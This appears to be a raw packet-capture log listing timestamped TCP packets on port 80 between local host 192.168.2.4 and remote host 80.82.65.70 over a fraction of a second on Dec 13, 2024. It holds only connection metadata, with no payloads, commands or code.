Dec 13, 2024 03:40:49.690813065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.690844059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.690850019 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.690877914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.690885067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.690913916 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.690920115 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.690948009 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.690954924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.690984011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.690990925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691019058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691025972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691056967 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691060066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691092968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691097021 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691133022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691579103 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691628933 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691632986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691670895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691684961 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691705942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691709995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691740990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691745996 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691776037 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691781998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691809893 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691817045 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691848040 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691855907 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691881895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691888094 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691917896 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691921949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691953897 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.691960096 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.691992044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.692604065 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.692639112 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.692647934 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.692673922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.692678928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.692708969 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.692723036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.692744970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.692756891 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.692780018 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.692791939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.692815065 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.692825079 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.692852020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.692861080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.692887068 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.692898035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.692922115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.692931890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.692956924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.692967892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.693002939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.693512917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.693547964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.693579912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.693582058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.693589926 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.693618059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.693623066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.693655014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.693659067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.693691015 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.693696022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.693731070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.693907022 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.693923950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.693945885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.693953991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.693964958 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.693970919 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.693988085 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.693996906 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.694009066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.694013119 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.694027901 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.694031954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.694044113 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.694045067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.694061995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.694063902 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.694081068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.694087029 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.694106102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.694109917 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.694122076 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.694124937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.694147110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.694164038 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.694979906 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.694996119 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695012093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695025921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.695027113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695044994 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695049047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.695061922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695077896 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695086956 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.695096016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695106030 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.695113897 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695130110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695141077 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.695146084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695171118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.695188046 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.695847988 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695863962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695878983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695894957 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.695913076 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695914030 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.695930004 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695933104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.695947886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695964098 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695981026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.695986986 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.696006060 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.696008921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.696023941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.696034908 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.696041107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.696053982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.696073055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.696089983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.696800947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.696818113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.696832895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.696850061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.696862936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.696866035 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.696878910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.696883917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.696912050 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.696923018 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.697235107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.697251081 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.697287083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.697299004 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.697432995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.697449923 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.697479963 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.697490931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.698127031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.698184967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.698215008 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.698263884 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.699402094 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.699417114 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.699460030 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.699472904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.700349092 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.700481892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.700550079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.700607061 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.701409101 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.701463938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.701498032 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.701562881 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.702778101 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.702794075 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.702883005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.703912973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.703948021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.704000950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.704700947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.704777002 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.704787970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.704862118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.705905914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.705940008 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.705995083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.706902027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.706938028 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.706948042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.706979036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.707954884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.707992077 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.708002090 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.708031893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.709115982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.709146976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.709163904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.709186077 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.760116100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.760162115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.760189056 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.760215998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.760221958 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.760258913 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.760262966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.760298967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.761352062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.761408091 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.761423111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.761465073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.803961039 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.804013014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.804074049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.804101944 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.804131031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.804132938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.804132938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.804173946 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.805717945 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.805773973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.805787086 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.805814981 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.806375027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.806411028 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.806420088 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.806452990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.807406902 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.807441950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.807501078 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.807528019 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.808470011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.808504105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.808516979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.808546066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.809449911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.809494972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.809725046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.809768915 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.810554028 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.810595989 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.810738087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.810777903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.811629057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.811672926 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.812318087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.812361956 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.812700987 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.812741041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.812804937 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.812854052 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.813792944 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.813837051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.813992023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.814033985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.814870119 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.814915895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.814980030 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.815020084 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.815956116 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.816011906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.816219091 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.816260099 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.817265034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.817298889 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.817306995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.817337990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.818128109 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.818167925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.818181038 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.818223000 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.819142103 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.819184065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.819390059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.819432020 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.820327044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.820368052 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.820489883 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.820529938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.821477890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.821511030 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.821525097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.821552992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.822591066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.822624922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.822633028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.822664022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.823354959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.823399067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.823471069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.823513985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.824464083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.824557066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.824630976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.824673891 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.825545073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.825586081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.825602055 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.825643063 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.826548100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.826591015 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.826723099 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.826769114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.827604055 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.827646971 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.827707052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.827748060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.882143021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.882194042 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.882224083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.882230997 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.882241964 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.882271051 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.882272005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.882314920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.883398056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.883452892 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.883467913 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.883491993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.884491920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.884540081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.884545088 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.884584904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.885030985 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.885076046 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.885149002 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.885190010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.886143923 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.886184931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.886199951 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.886234999 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.887418032 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.887454987 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.887461901 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.887495041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.888186932 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.888230085 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.888329029 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.888370037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.889326096 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.889362097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.889367104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.889399052 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.890393972 CET	80	49730	80.82.65.70	192.168.2.4
